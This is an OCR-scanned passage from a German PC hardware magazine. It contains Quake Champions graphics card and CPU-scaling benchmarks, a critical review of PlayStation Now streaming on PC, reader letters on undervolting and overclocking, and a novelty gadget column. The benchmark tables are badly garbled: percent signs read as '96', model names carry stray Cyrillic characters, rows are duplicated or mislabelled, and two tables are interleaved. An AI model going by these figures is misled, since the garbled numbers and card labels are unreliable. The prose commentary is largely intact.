Quake Champions Early Access: 20 Grafikkarten im Leistungstest 


1.920 x 1.080, max. Details, Ingame-AA/HQ-AF - „Burial Chamber” 


Asus GTX 1080 Ti Strix/11G sü 260,2 (+94 90) 
Gigabyte GTX 1080 G1 Gaming/8G Vë 206,2 (+54 96) 
AMD Radeon RX Меда 64/86 Ez: 197,1 (+47 96) 
Palit GTX 980 Ti Super Jetstream/6G He 181,3 (+35 %) 
Inno 3D GTX 1070 ХЗ Ultra/8G Ee 174,6 (+30 %) 
AMD Radeon RX Меда 56/8G [58H 169,8 (+26 96) 
AMD Radeon R9 Fury X/4G Eg 140,2 (+4 96) 
Asus GTX 980 Strix/4G. aon 139,3 (+4 %) 
Zotac GTX 1060 AMP/6G ИОД 134,3 (Basis) 
Powercolor RX 580 Red Devil GS/8G pun 133,6 (—1 96) 
Powercolor RX 570 Red Devil/4G Eme] 118,4 (+-12 96) 
Asus R9 390 Strix OC/8G. Sz 116,8 (+-13 96) 
MSI GTX 970 Gaming/3,5+0,5G ШОИ 111,3 (4-17 96) 
Gigabyte RX 470 G1 Gaming/4G [EXE 111,2 (-17 96) 
Palit GTX 780 Jetstream/3G Egi 105,2 (-22 96) 
HIS R9 280X IceQ X? Turbo/3G Esa 89,7 (-33 96) 
Gigabyte GTX 770 Windforce OC/2G mh 88,3 (-34 %) 
EVGA GTX 960 SSC/4G |t 85,3 (-36 %) 
EVGA GTX 1050 Ti Superclocked/4G X8! 84,0 (-37 96) 
Sapphire R9 380X Nitro/4G ISI  IUəUƏIIIIIIIƏIIOGD.. 96) 


2.560 x 1.440, max. Details, Ingame-AA/HQ-AF - „Burial Chamber" 


Gigabyte GTX 1080 G1 Gaming/8G. [es ШШ 180,2 (+111 96) 
Gigabyte GTX 1080 G1 Gaming/8G. XXn 144,1 (+69 %) 
AMD Radeon RX Vega 64/8G | 127,9 (+50 96) 
Palit GTX 980 Ti Super Jetstream/6G Ez 120,5 (+41 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G Xm 119,3 (+40 96) 
AMD Radeon RX Vega 56/8G |i 111,6 (+31 96) 
AMD Radeon R9 Fury X/4G Egon? 97,3 (+14 96) 
Asus GTX 980 Strix/4G [Xd] 90,6 (+6 96) 
Powercolor RX 580 Red Devil GS/8G Xt! 87,5 (+2 96) 
Zotac GTX 1060 AMP/6G ME 85,4 (Basis) 
Asus R9 390 Strix OC/8G. EEE 77,5 (-9 96) 


3.440 х 1.440, max. Details, Ingame-AA/HQ-AF - „Burial Chamber" 


Gigabyte GTX 1080 G1 Gaming/8G Esas 144,2 (+123 %) 
Gigabyte GTX 1080 G1 Gaming/8G. [XXE 111,7 (+73 %) 
AMD Radeon RX Vega 64/8G. Essa] 100,8 (+56 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G. 88! 93,7 (+45 %) 
Palit GTX 980 Ti Super Jetstream/6G EE 93,3 (+44 96) 
AMD Radeon RX Vega 56/8G gor? 86,3 (+33 90) 
AMD Radeon R9 Fury X/4G Em 77,3 (+19 96) 
Asus GTX 980 Strix/4G БЗ 69,4 (4-7 %) 
Powercolor RX 580 Red Devil GS/8G 5821] 67,0 (+4 96) 
Zotac GTX 1060 AMP/6G "eg 64,7 (Basis) 
Asus R9 390 Strix OC/8G MSGi] 60,2 (-7 96) 
Gigabyte RX 470 G1 Gaming/4G [55011 54,8 (-15 96) 
Powercolor RX 570 Red Devil/4G [5501] 54,3 (-16 96) 
MSI GTX 970 Gaming/3,5+0,5G Ш 518 53,4 (-17 %) 
Palit GTX 780 Jetstream/3G 9491] 53,3 (-18 96) 
HIS R9 280X IceQ X? Turbo/3G [9401] 44,8 (-31 96) 
Gigabyte GTX 770 Windforce OC/2G В 381 42,1 (-35 96) 
Sapphire R9 380X Nitro/4G Ш ЗДІ 41,5 (-36 96) 
EVGA GTX 960 SSC/4G EMI 39,9 (-38 %) 
EVGA GTX 1050 Ti Superclocked/4G Ж 39]| 39,1 (-40 96) 


3.840 х 2.160, max. Details, Ingame-AA/HQ-AF - „Burial Chamber" 


Gigabyte GTX 1080 G1 Gaming/8G ВЕ: 96,9 (+133 96) 
Gigabyte GTX 1080 G1 Gaming/8G [ez 73,1 (+76 96) 
AMD Radeon RX Vega 64/8G ВЕД 66,1 (+59 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G [571 62,1 (4-50 96) 
Palit GTX 980 Ti Super Jetstream/6G [55611 60,7 (+46 96) 
AMD Radeon RX Vega 56/8G ШЕБІ 56,0 (+35 96) 
AMD Radeon R9 Fury X/4G Emi 51,4 (+24 96) 
Asus GTX 980 Strix/4G Ш 18| 44,8 (+8 96) 
Powercolor RX 580 Red Devil GS/8G EEE 42,9 (+3 96) 
Zotac GTX 1060 AMP/6G В 381141,5 (Basis) 
Asus R9 390 Strix OC/8G [5381] 39,3 (+-5 96) 


Gigabyte RX 470 G1 Gaming/4G XXX] 71,6 (-16 96) Gigabyte RX 470 G1 Gaming/4G ВШ 321] 35,0 (+-16 96) 
Powercolor RX 570 Red Devil/4G E6811 71,3 (-17 96) Powercolor RX 570 Red Devil/4G В 32 34,7 (+-16 96) 
MSI GTX 970 Gaming/3,5+0,5G ex E 70,9 (-17 96) MSI GTX 970 Gaming/3,5+0,5G #8291 34,4 (+-17 96) 

Palit GTX 780 Jetstream/3G [6211 68,5 (-20 96) Palit GTX 780 Jetstream/3G WEB 33,9 (-18 96) 


HIS R9 280X IceQ X? Turbo/3G 8281 29,8 (-28 96) 
Sapphire R9 380X Nitro/4G 82211 27,5 (-34 %) 


HIS R9 280X IceQ X? Turbo/3G 5581] 59,4 (-30 96) 
Gigabyte GTX 770 Windforce OC/2G EEEZBIN 55,2 (-35 96) (- 

Sapphire R9 380X Nitro/AG MEJ] 53,6 (-37 %) Gigabyte GTX 770 Windforce OC/2G 1221] 26,3 (-37 96) 

EVGA GTX 960 SSC/4G 49/1 52,9 (-38 96) EVGA GTX 960 SSC/4G 8281 25,0 (-40 96) 

EVGA GTX 1050 Ti Superclocked/4G 481] 51,8 (-39 96) EVGA GTX 1050 Ti Superclocked/4G | 24,7 (-40 96) 


System: Core i7-6900K @ 4,0 GHz (Ring/L3: 3,6 GHz), MSI X99A Gaming Pro Carbon, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64, GF 385.41, RS 17.9.1, HQ-AF М o Fps 
Bemerkungen: Gegenüber dem letzten Test können sich beinahe alle GPUs konsequent verbessern, die beiden Neuzugänge in Form von RX Vega 56 und 64 sind von Beginn an stark dabei. » Besser 
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dieses Problem trat mit sämtlichen 
getesteten Hardwarekonfigurati- 
onen und auch beim Spielen mit 
diversen Privatsystemen auf. Wäh- 
rend dieser (in diesem Zusammen- 
hang sehr sinnvollen) Vorlaufzeit 
fing sich das Spiel dann. Zumeist 
waren die Stocker nach etwa 30 
Sekunden verschwunden, in prak- 
tisch allen Fällen jedoch spätestens 
dann, wenn der Warm-up-Timer 
abgelaufen war. Doch natürlich 
könnte ein solches Ruckeln Ihnen 
den Spielspaß gehörig vermiesen, 
wenn Sie einem bereits laufenden 
Spiel beitreten würden - die Ruck- 
ler waren definitiv stark genug, um 
gegebenenfalls einen spielerischen 
Nachteil zu bedeuten. Nun, von 
diesem Umstand ist in der aktuel- 
len Version kaum mehr etwas zu 
spüren, einzig bei unseren aktuel- 
len CPU-Messungen, die sehr hohe 
Bildraten begünstigen, fielen uns 
hier und dort einzelne winzige 
Stocker auf - und auch diese nur 
zu Beginn der Warmlaufzeit direkt 
nach Laden des Levels. Da wir unse- 
re generell erst nach Ablauf dieser 
Frist messen und dies auch zuvor 
schon taten, sind unsere Bench- 
marks generell nicht von diesem 
Umstand betroffen. 


Auch die weiteren Änderungen bei 
der Performance sind erfreulich: Im 
Großen und Ganzen können sämt- 
liche GPUs zulegen. Es gibt jedoch 
einige Ausnahmen, so schneidet 
eine GTX 970 etwas schlechter ab 
(gemittelt über alle Auflösungen mi- 
nus 3,6 Prozent), während ähnlich 
potente GPUs zum Teil beträchtlich 
zulegen können (RX 580/8G: plus 
21,1 Prozent, GTX 1060/6G: plus 6,1 
Prozent, GTX 980: plus 5,0 Prozent, 
R9 390: plus 6,9 Prozent). Generell 
ist die Performance nun jedoch 
höher und vor allem AMD konnte 
sich verbessern. Eine Ursache für 
diese Unterschiede ist neben Opti- 
mierungen durch Entwickler und 
eventuelle Verbesserungen an den 
Grafiktreibern auch beim veränder- 
ten Streaming zu vermuten. Durch 
dieses verschwinden nicht nur die 
bereits erwähnten Ruckler, auch die 
Speicherbelegung hat sich offen- 
bar verändert: Zuvor wurde beim 
Beginn einer Runde praktisch der 
komplette Grafikspeicher belegt, 
selbst bei niedrigen Auflösungen 
und sehr viel Video-RAM. Nun ist 
die Belegung etwas niedriger (maxi- 
mal ca. 6 GiByte in FullHD). (pr) 
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Quake Champions Beta: Prozessorleistung und Kernskalierung - Geforce 


1.280 x 720, 25% Res-Scale Ultra" - Nvidia Geforce GTX 1080 Ti 


450 
E 8 Cores/16 Threads (341,1 Fps avg.) 
E 6 Cores/12 Threads (313,0 Fps avg.) 
400 E 4 Cores/8 Threads (305,9 Fps avg.) 
E 2 Cores/4 Threads (239,2 Fps avg.) 
350 SE 
— 
МММ 
2 m — < L 
2 0300 
250 BR 
200 
150 


1 2 3 4 5 6 7 8 9 10 11 12 1313 14 15 16 17 18 19 2 
Zeit in Sekunden 


System: Core i7-6900K (4,0 GHz fixed), Asus Geforce GTX 1080 Ti Strix OC (1.936 MHz, 11 GT/s), MSI X99A Gaming Pro Carbon, 4 x 8G DDR4-3000 RAM, Win 10 x64 
(1703); Gef. 385.41 WHQL Bemerkungen: Performance-Veránderungen gegenüber PCGH 08/2017 — 8C/16T: + 9,4 %; 6C/12T: - 5,3 96; 4С/8Т: + 1,8 %; 2C/AT: - 5,1 96 


Quake Champions Beta: Prozessorleistung und Kernskalierung - AMD 


1.280 x 720, 25% Res-Scale Ultra" - AMD Radeon RX Vega 64 


450 
E 8 Cores/16 Threads (335,1 Fps avg.) 
IB 6 Cores/12 Threads (313,9 Fps avg.) 
400 E 4 Cores/8 Threads (293,5 Fps avg.) 
lB 2 Cores/4 Threads (236,9 Fps avg.) 
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200 


150 


1 2 3 4 5 6 7 8 9 10 1 12 13 14 15 16 17 18 19 2 
Zeit in Sekunden 


System: Core i7-6900K (4,0 GHz fixed), Radeon RX Vega 64 Reference (-1.460 MHz, 1,89 СТ/5), MSI X99A Gaming Pro Carbon, 4 x 8G DDR4-3000 RAM, Win 10 x64 
(1703); Geforce 382.53 WHQL Bemerkungen: Auch mit einer RX Vega ist die CPU-Performance sehr gut — zur Geforce fehlen schlimmstenfalls (4C/8T) 4,2 Prozent. 


Die See der Parallax Maps wurde korrigiert — diese zeigen nun keine auffàlligen Umbrüche beim Wechsel der Mip-Stufe. 
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Der PC als Playstation? 


Mit dem jüngst gestarteten Service Playstation Now können nun auch PC-Spieler in den Genuss der 


legendären Sony-Exclusives kommen - Streaming und Cloud sei Dank. Doch wie gut ist der Service? 


as Konzept klingt spannend: 

Dank Cloud und moderner 
Streaming-Technologien können 
nun auch PC-Spieler die häufig 
hochgelobten Playstation-Exklusiv- 
Titel spielen. Endlich sind Kracher 
wie Uncharted, Killzone oder God 
of War auch am PC genießbar. Sony 
bietet seit Kurzem über den Strea- 
ming-Dienst Playstation Now eine 
umfassende Spielebibliothek mit 
ganzen 400 Titeln an. Dazu benöti- 
gen Sie nicht einmal einen poten- 
ten Rechner: Laut Sony sind ledig- 
lich eine Intel-i3-GPU mit 2,0 GHz, 
2 GiByte Hauptspeicher sowie ein 
Controller nötig - die Bedienung 
mit Maus und Tastatur funktioniert 
bei reinen Konsolenspielen natür- 
lich nicht. Ein Playstation-Pad muss 
es dagegen nicht sein, hersteller- 
fremde Geräte tun es auch. 
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Doch Moment, es wird dann doch 
ein wenig komplizierter: Zusätzlich 
benötigen Sie einen registrierten 
PSN-Account, den downloadba- 
ren Client sowie eine Keditkarte 
-auch wenn Sie nur die kostenlo- 
se Testwoche von Playstation Now 
nutzen wollen, ohne Vorlage einer 
Kreditkarte läuft aktuell nichts. 
Die Kosten belaufen sich nach Ab- 
lauf des Testzeitraums auf happige 
16,99 Euro pro Monat, ein länger- 
fristiges, aber dafür in der Summe 
günstigeres „Spar-Abo“-Modell gibt 
es bislang nicht. Und an dieser Stel- 
le heißt es aufgepasst! Denn läuft 
der Probezeitraum ab, wird dieser 
ohne Nachfrage verlängert und der 
Betrag für den nächsten Monat von 
der zuvor hinterlegten Kreditkarte 
abgebucht - eine klassische Abo- 
Falle, sehr unschón. 


Aufserdem muss natürlich Ihre In- 
ternetverbindung schnell genug 
sein, ein Mindestdurchsatz von 5 
MBit pro Sekunde wird vorausge- 
setzt. Bei unseren Tests mit der re- 
daktionellen  Internetverbindung 
kam es aber trotz einer im Grunde 
deutlich flotteren Leitung häufiger 
zu Verbindungsabbrüchen oder 
Warnungen, bei gleichzeitigem Zu- 
griff durch andere Rechner oder im 
Hintergrund laufendem Download 
ist eine störungsfreie Verbindung 
also auch mit 100 MBit/s nicht voll- 
ständig gewährleistet. Beachtens- 
wert, wenn Sie Ihre Verbindung 
nicht alleinig nutzen. 


Auch wenn Sie mit den Vorausset- 
zungen und dem Bezahlmodell 


keine Probleme haben, vielleicht 
sollten Sie sich vor dem Abschluss 
des Playstation-Now-Abos einmal 
genau ansehen, welche Titel Sony 
denn überhaupt anbietet. Denn 
spätestens an dieser Stelle könnte 
sich eine gewisse Enttäuschung 
einstellen. Sie wollen hochqualita- 
tive PS4-Exclusives? Na, dann wer- 
den Sie hoffentlich mit Killzone: 
Shadowfalls glücklich, der momen- 
tan einzige wirklich hochwertig 
produzierte PS4-Exklusivtitel aus 
dem Jahre 2013. Zusätzlich gibt es 
noch einige weitere Spiele, die für 
PC-Spieler interessant sein könn- 
ten, darunter The Last of Us, Un- 
chartet 1 bis 3 sowie God of War 
1 bis 3 und das niemals für den PC 
erschienene Red Dead Redemtion. 
Es lassen sich auch einige etwas 
weniger bekannte Titel finden, da- 
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runter beispielsweise das von der 
PS Vita auf die PS4 portierte Japan- 
Rollenspiel Exist Archive - The 
other Side of the Sky, das allerdings 
weder sonderlich gute Wertungen 
einfahren konnte noch technisch 
in irgendeiner Weise beeindrucken 
würde. Und der Rest, was ist denn 
mit den ganzen 400 Spielen? Nun, 
im Großen und Ganzen handelt 
es sich dabei um auch auf dem PC 
erhältliche Indie-Spiele oder ältere 
Crossplattform-Titel. Darunter die 
Batman Arkham-Reihe (Arkham 
Knight ist aktuell nicht dabei) oder 
Bioshock 1,2 und Infinite - jedoch 
nicht in der überarbeiteten und 
für Besitzer der PC-Versionen kos- 
tenlosen Remastered-Fassungen. 
Außerdem finden sich auch einige 
Konsolen-Exoten in der Liste aktu- 
ell streamingfähiger Titel, darunter 
beispielsweise Command & Con- 
quer: Red Alert 3. Was, Sie wollten 
noch nie ein Strategiespiel mit dem 
Controller bedienen? 


Um es kurz zu machen: Natürlich 
befinden sich einige spielenswerte 
(Playstation-)Klassiker 
ming-Angebot Doch diese sind 
bei genauerem Hinsehen rar ge- 
sát und aktuelle PS4-Kracher wie 
Horizons: Zero Dawn sucht man 
natürlich vergeblich - Sony móch- 
te schließlich nicht die eigene 
Konsole kannibalisieren. Doch das 
streng genommen sehr schmäch- 


im  Strea- 


tige, exklusive Spieleangebot lässt 
den Streaming-Dienst vor allem zu 
dem sehr hoch anmutenden Preis 
deutlich an Attraktivitàt einbüfsen. 
Dabei ist das Angebot selbstver- 
ständlich nicht fest vorgegeben, 
Sony kann nach Bedarf weitere Ti- 
tel hinzufügen oder entfernen. Letz- 
teres ist trotz kurzer Verfügbarkeit 
des Streaming-Dienstes auch schon 
mehrfach geschehen, beispielswei- 
se wurden Resogun und Super Star 
Dust des Entwicklers Housemarque 
wieder aus dem Sortiment genom- 
men - zum Glück gibt es zumindest 
Resogun für ein paar Euro auch als 
attraktive PC-Version. 


Neben dem Umstand, dass viele Ti- 
tel im Angebot von Playstation Now 
bereits als reguläre PC-Version er- 
hältlich sind, bilden außerdem die 
Qualität des Bildes sowie die Einga- 
belatenz am Controller beachtens- 
werte Faktoren. Zum einen werden 
die Streams lediglich in 1.280 x 720 
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Pixeln auf dem heimischen Display 
dargestellt. Zum anderen entsteht 
durch die Kompression und den 
Transport des Videosignals von den 
Cloud-Servern zum PC eine recht 
ausgeprägte Latenz. Laut Analyse 
der Kollegen von Digital Foundry/ 
Eurogamer (https://tinyurl.com/ 
yalexkak) beträgt diese im Mittel 
vier Frames oder 67 ms bei einer 
20-MBit-Verbindung; ist Letztere 
beeinträchtigt langsamer, 
kann sich die Verzögerung auch 
noch deutlich erhöhen. Für Maus- 
und-Tastatur-Akrobaten wäre eine 


oder 


solche Latenz ein sehr ausgeprägter 
Störfaktor, am Gamepad lässt sich 
mit etwas Wohlwollen immerhin 
teilweise darüber hinwegsehen. Es 
kommt dabei natürlich ein wenig 
darauf an, was gespielt wird: Eine 
hohe Latenz kann bei dem einen Ti- 
tel extrem stören, bei einem ande- 
ren kaum auffallen. Das Spielen von 
generell zähen Konsolen-Shootern 
mit Gamepad samt hoher Eingabe- 
verzögerung und gar gegenüber 
der Konsole schlechtere Optik ist 
dagegen weniger schön. 


Denn es kommt noch ein weiterer 
Nebeneffekt des Streams hinzu: 
Die Bildqualität leidet durch die 
aggressive Komprimierung des Vi- 
deosignals beträchtlich. Farben und 
Kontraste waschen aus, es sind häu- 
fig starke Kompressionsartefakte zu 
erkennen und die Bildschärfe geht 
selbst bei 720p-Inhalten verlustig. 
Dazu kommt die in einigen Fällen 
reduzierte Auflösung, denn jene Ti- 
tel, die auf der Playstation in voller 
Full-HD-Auflösung dargestellt wer- 
den, werden für Playstation Now 
herunterskaliert. Immerhin läuft 
der Stream mit 60 Bildern pro Se- 
kunde. Falls Sie also ein Spiel in der 
Streaming-Bibliothek finden, wel- 
ches diese Bildrate unterstützt, kón- 
nen Sie zumindest von der hóheren 
Framerate profitieren. (ab/pr) 


Stark ausbaufähig! 

Es ist erfreulich, dass Sony auch 
PC-Spielern die Möglichkeit einräumt, 
einige ihrer exklusiven Perlen zu genie- 
Ben. Doch davon befinden sich aktuell 
kaum mehr als eine Handvoll im Sorti- 
ment, kein einziges davon ist aktuell. 
Die mäßige Bildqualität und die poten- 
ziell störende Eingabelatenz sind zu- 
dem unschön, ebenso der hohe Preis! 


Hach, Sony-Exklusivtitel! Die Uncharted-Reihe ist sehr spielenswert, ist allerdings nur 
bis einschließlich Teil 3 (PS3) im Angebot enthalten. Aktuelle Kracher fehlen. 


Bild: Sony 


Der technisch modernste, aufwendig produzierte PS4-Titel im Streaming-Angebot ist 
der mittlerweile vier Jahre alte Shooter Killzone: Shadowfalls. 


Vielzahl Indie-Spielen aus, die Sie mindestens ebenso gut auf dem PC spielen können. 
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m SPIELE & SOFTWARE | Playstation Now 


Bildvergleich PC vs. Playstation - The Last of Us 


Es gibt viele spielenswerte Playstation-Spiele, das ist auch an der Vielzahl der Remastered-Fassungen ersichtlich. Eine solche ist auch mit The Last of Us für die Playstation 4 erhält- 
lich. Diese láuft optional mit 1080p und 60 Fps, von dem gegenüber der PS3-Fassung deutlich aufgewerteten Bild geht beim Streaming über Playstation Now aber viel verloren. 


The Last of Us als 720p-Stream auf dem PC via Playstation Now The Last of Us auf der Playstation 4 in nativer Full-HD-Darstellung 


| 


Bildvergleich РС vs. Playstation — Alien Nation 


Alien Nation ist ein weiterer Playstation-Exklusivtitel, wobei die Chance besteht, dass der Entwickler Housemarque den Twin-Stick-Shooter — wie zuletzt bei Resogun geschehen 
— auch für den PC auflegt. Der Detailverlust durch den Playstation-Now-Stream ist vor allem bei der Bildschárfe und den mangelnden Kontrasten ersichtlich. 


Alien Nation als 720p-Stream auf dem PC via Playstation Now Native 1080p auf der Playstation 


А 
ж" 


Bildvergleich РС vs. Playstation – God of War 3 


Die God-of-War-Reihe gehört wohl zu den bekanntesten Sony-Exclusives. Der dritte Teil von 2010 wurde in Form einer Remastered-Fassung optisch aufgewertet und läuft auf 
der PS4 in 1080p bei 60 Fps. Die hohen Bildraten können Sie auch via Playstation-Now-Stream genießen, eine der Konsole ebenbürtigeoptische Qualität dagegen eher nicht. 


Starke Kompressionsartefakte im 720p-Stream Auf der Playstation 4 läuft God of War 3 (Remastered) in 1080p und ohne Artefakte 
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Undervolting mit Loadline Calibration 

Ich habe heute Ihren Artikel zum Thema 
CPU-Undervolting in der PCGH 10/2017 gelesen 
und gleich an meinem Ryzen 7 1700 auspro- 
biert. Bis auf kleinere Abweichungen konnte ich 
die Werte reproduzieren. Besten Dank! 

Aber die Angabe zur Loadline Calibration 
(LLC) verwundert mich. Angeblich kann man 
mit ,Herabsetzen* der LLC auf Level 5 die Span- 
nung unter Last senken. Auf meinem Asus Prime 
X370-Pro mit BIOS 0805 verhält es sich genau 
umgekehrt: Mit Level 5 erhóht sich die Span- 
nung unter Last. Auf Level 1 hingegen erhalte 
ich Spannungseinbrüche, sowohl bei CPU als 
auch bei SoC. 

Nico E., per E-Mail 


Stephan Wilke: An dieser Stelle hätte ich im Ar- 
tikel vielleicht etwas ausführlicher auf die Funk- 
tion eingehen sollen. Es ist tatsächlich so, dass 
die Hersteller die Abstufungen beliebig selbst 
vornehmen und es keine einheitlichen Bezeich- 
nungen für die unterschiedlich starke Ausprä- 
gung der LLC gibt. Im Artikel habe ich das Asrock 
X370 Killer SLI genannt, bei dem auf Level 5 die 
Spannung am stärksten abfällt und auf Level 1 
am höchsten ist. Die abgedruckte Angabe ist kor- 
rekt, lässt sich aber nicht automatisch auf an- 
dere Mainboards übertragen: Bei Asus habe ich 
bisher genau wie Sie das gegenteilige Verhalten 
beobachtet: Hier fällt die anliegende Kernspan- 
nung auf Level 1 niedriger und auf Level 5 höher 
aus. Bei Nutzung der LLC-Funktion gilt daher: 
Vertrauen ist gut, Kontrolle ist besser. Das Mul- 
timeter, aber auch Software wie Hwinfo64 oder 
Hersteller-Tools helfen oft weiter. Auch anhand 
der Leistungsaufnahme, Temperaturentwick- 
lung und Stabilität im Grenzbereich kann man 
sehen, ob die LLC wie gedacht funktioniert. 


Radeon RX Vega 56: Top im CPU-Limit? 
Ich habe einen Artikel auf pcgh.de über Player- 
unknown's Battlegrounds und die Vega-, Überra- 
schung" gelesen. Ich frage mich, ob Vega im Pro- 
zessorlimit generell besser dasteht/die Geforce 
GTX 1080 Ti überholt. Wàre bei einem CPU-limi- 
tierten System (7. B. mit FX-4300) eine Vega 56 
also einer 1080 Ti vorzuziehen? (Mal davon abge- 
sehen, dass wohl niemand so ein System baut ...) 
Sven T., per E-Mail 
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Community 


www.pcgh.de/print 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


Philipp Reuther: Ob AMD mit Vega nun tat- 
sächlich dieses Problem gelöst hat und im 
Prozessorlimit eventuell gar besser als Nvidia 
dasteht, ist eine Frage, die ich momentan noch 
nicht beantworten kann. Dafür fehlen uns noch 
ausreichende Mess- und Erfahrungswerte. Eine 
Verbesserung der Situation war aber schon bei 
Polaris deutlich feststellbar und Vega scheint in 
einigen Spielen deutlich besser abzuschneiden 
als von älteren Radeon-Generationen gewohnt. 
Project Cars wäre beispielsweise so ein Spiel, in 
dem AMD früher massiv gegenüber Nvidia be- 
nachteiligt war, Vega nun aber offenbar deutlich 
überlegen ist, auch gegenüber Nvidias aktueller 
Pascal-Architektur. Aber um eine wirklich aus- 
sagekräftige Antwort geben zu können, müssten 
wir uns unzählige, vor allem ältere und/oder 
unoptimierte Spiele spezifisch in diesem Szena- 
rio ansehen. Das wäre ein gutes Thema für einen 
umfassenden Artikel im Heft. Falls(!) die Annah- 
me aber stimmen sollte, dass Vega CPU-limitiert 
besser auszulasten ist als aktuelle Nvidia-GPUs, 
werden wir in Zukunft auch so häufiger über 
solch ein Szenario stolpern; beispielsweise wenn 
GIX 1080 (Ti) und Vega 64 in einem CPU-limi- 
tierten Szenario gegeneinander antreten - was 
hin und wieder bei Spieletests, aber auch bei un- 
seren Grafikkartentests geschehen kann. Aujfser- 
dem würden einige Spiele bei CPU-Tests mit Vega 
deutliche Abweichungen gegenüber Messungen 
mit Nvidia-GPUs zeigen, ebenso Frametime-Ana- 
lysen bei hohen Bildraten/niedriger Auflósung. 
Gábe es also einen deutlichen Unterschied im 
CPU-Limit, werden wir es beizeiten háufiger do- 
kumentieren kónnen - aktuell fehlen uns aber 
die nótigen Daten. 


Haswell-OC: Vcore hóher als 1,35 Volt? 
Ich betreibe meinen gekópften und besten- 
falls durchschnittlichen i7-4770K bei 1,35 V und 
4,4 GHz. Die wassergekühlte CPU erwärmt sich 
in Prime95 auf maximal 63 °C. Ist eine weitere 
Anhebung der Spannung sehr schädlich? Ich 
habe viele verschiedene Empfehlungen gelesen. 
Lucas H., per E-Mail 


Stephan Wilke: Eine hóhere Kernspannung 
reduziert die Lebenserwartung, unbekannt ist 
aber, wie hoch die Defektwahrscheinlichkeit bei 
einer bestimmten Spannung und Auslastungs- 


intensitdt (z. B. mit oder ohne AVX) nach x 
Betriebsstunden aussieht. Daher gibt es mitun- 
ter deutliche Abweichungen bei empfohlenen 
Grenzwerten, weil die Risikofreudigkeit von 
Übertakter zu Übertakter schwankt und andere 
Faktoren wie die zur Verfügung stehende Kühl- 
leistung und resultierende Leistungsaufnahme 
oft in Empfehlungen einfliefsen. Je schneller die 
CPU altert, desto eher ist eine Verringerung des 
OC-Potenzials zu bemerken. Wenn eine CPU z. B. 
für mehrere Monate mit 1,40 Volt bei 4,6 GHz be- 
trieben wurde, auf einmal Stabilitátsprobleme 
zeigt und auf 45 GHz heruntergetaktet werden 
muss, ist das ein Hinweis darauf, dass die CPU 
schneller als gewünscht altert. Spátestens dann 
sollte man die Kernspannung signifikant sen- 
ken, falls man sich keinen Defekt leisten kann. 


Meine Einschátzung: Haswell-Vierkerner skalie- 
ren üblicherweise über 1,35 Volt hinaus mit all- 
tagstauglicher Kühlung kaum noch. Selbst mit 
1,45 Volt dürfte der Maximaltakt dieser CPU nur 
bei 4,5-4,6 GHz liegen, was bestenfalls knapp 
5 Prozent mehr Rohleistung entspricht. Das 
scheint mir das Risiko nicht wert zu sein. Wäre 
mir das System zu langsam, würde ich eher pro- 
bieren, ob sich das OC-Verhalten beispielsweise 
durch eine moderate Erhöhung der Vccin-Span- 
nung verbessert. Mehr Leistung in vielen nicht 
GPU-limitierten Szenarien bietet außerdem das 
Anheben des Ringbus-Iakts sowie RAM-Tuning. 


PC Games Hardware Online; 
wichtige Dienste und Partner 


Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in | 
Deutschland! www.pcgh.de/alternate 


Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
PCs kaum herum. www.pcgh-pc.de 


Die Leserbriefe geben nicht die Meinung der Redaktion wieder. Die Redaktion behält sich 


außerdem vor, Leserbriefe zu kürzen. 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: | 
pcgh.de/digital-ausgabe 


Ð Einzelheft bestellen: 
www.pcgh.de/heft 


www.pcgameshardware.de 


Community | SERVICE m 


Rossis Restekiste Worte des Monats 
UFO Detector 


Angeblich glauben 33 Prozent aller Amerikaner an UFOs. Kein Wunder, dass man diesen ” Das ware die schlechteste 
Markt nicht unbeackert lassen will. Für knapp 89 Dollar gibt es darum den formschö- u 
nen Detektor, der UFOs anhand ihrer elektromagnetischen Betrugsmasche der Welt. 
Wellen erkennt und dies dann durch lustige, blinkende - e 

Lichter kundtut, falls man die Aliens nicht von selbst 
bemerkt hat. 


Chris Roberts, Gründer von Cloud Imperium Games, im Gespräch mit www.eurogamer.net, 
in dem er betonte, dass intensiv am schwarmfinanzierten Star Citizen gearbeitet werde und 
wöchentlich Fortschritte zu sehen wären. Es sei unwahr, dass das Spiel nie erscheinen werde. 


Aber Vorsicht: Er erkennt nur die Raum- 


schiffe — nicht die Außerirdischen! 4 Ж 

= 
Wenn diese hinterlistig eine StraBe 4 B id d M t 
weiter parken, haben Sie ein Pro- 3 = I es 0 na S 
blem. Der Hersteller übernimmt 2 


übrigens keine Garantie für 
Fehlalarme. 


=462 


https://www.amazon. 
com/dp/BOO0FVUKKO 


102&id 


Ein Mainboard der Extreme: Das Colorful C.B250A-BTC Plus V20 für Kryptowährungs- 
Mining bietet 16 PCI-E-Strombuchsen und Platz für acht Dual-Slot-Grafikkarten, aber 
nur 2 x USB 2.0, 1 x RJ45 und HDMI an der I/O-Blende sowie einen SO-DIMM-Slot. 


Quelle: http://en.colorful.cn/product_show.aspx?mid 


ANZEIGE 


a 
E 
E 
° 
z 
° 
- 
© 
u 
à 
a 
г 
š 
u 
š 


PC Games Hardware - Das IT-Magazin für Gamer 


DAS HARDWARE-MAGAZIN FÜR PC-SPIELER 


I SERVICE | Projekt-PCs: Achtkerner 


Projekt-PCs: Achtkerner 


In jeder Ausgabe stellt PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen Sie 


sich orientieren können, um einen eigenen PC zu bauen. 


achdem nun auch Intels Sky- 

lake X drei Monate Zeit hatte, 
sich am Markt zu positionieren, 
lohnt sich noch einmal ein preisli- 
cher Vergleich zwischen Intels und 
AMDs Achtkern-Angeboten. Dazu 
haben wir zwei Konfigurationen 


AMD Ryzen 7 


mit dem Core i7-7820X und dem 
Ryzen 7 1700X erstellt. Letzterer ist 
nicht AMDs günstigstes Modell mit 
acht Kernen, eignet sich aber auch 
für Spieler, die nicht übertakten 
wollen. Alternativ spart man beim 
Ryzen 7 1700 rund 30 Euro plus ge- 


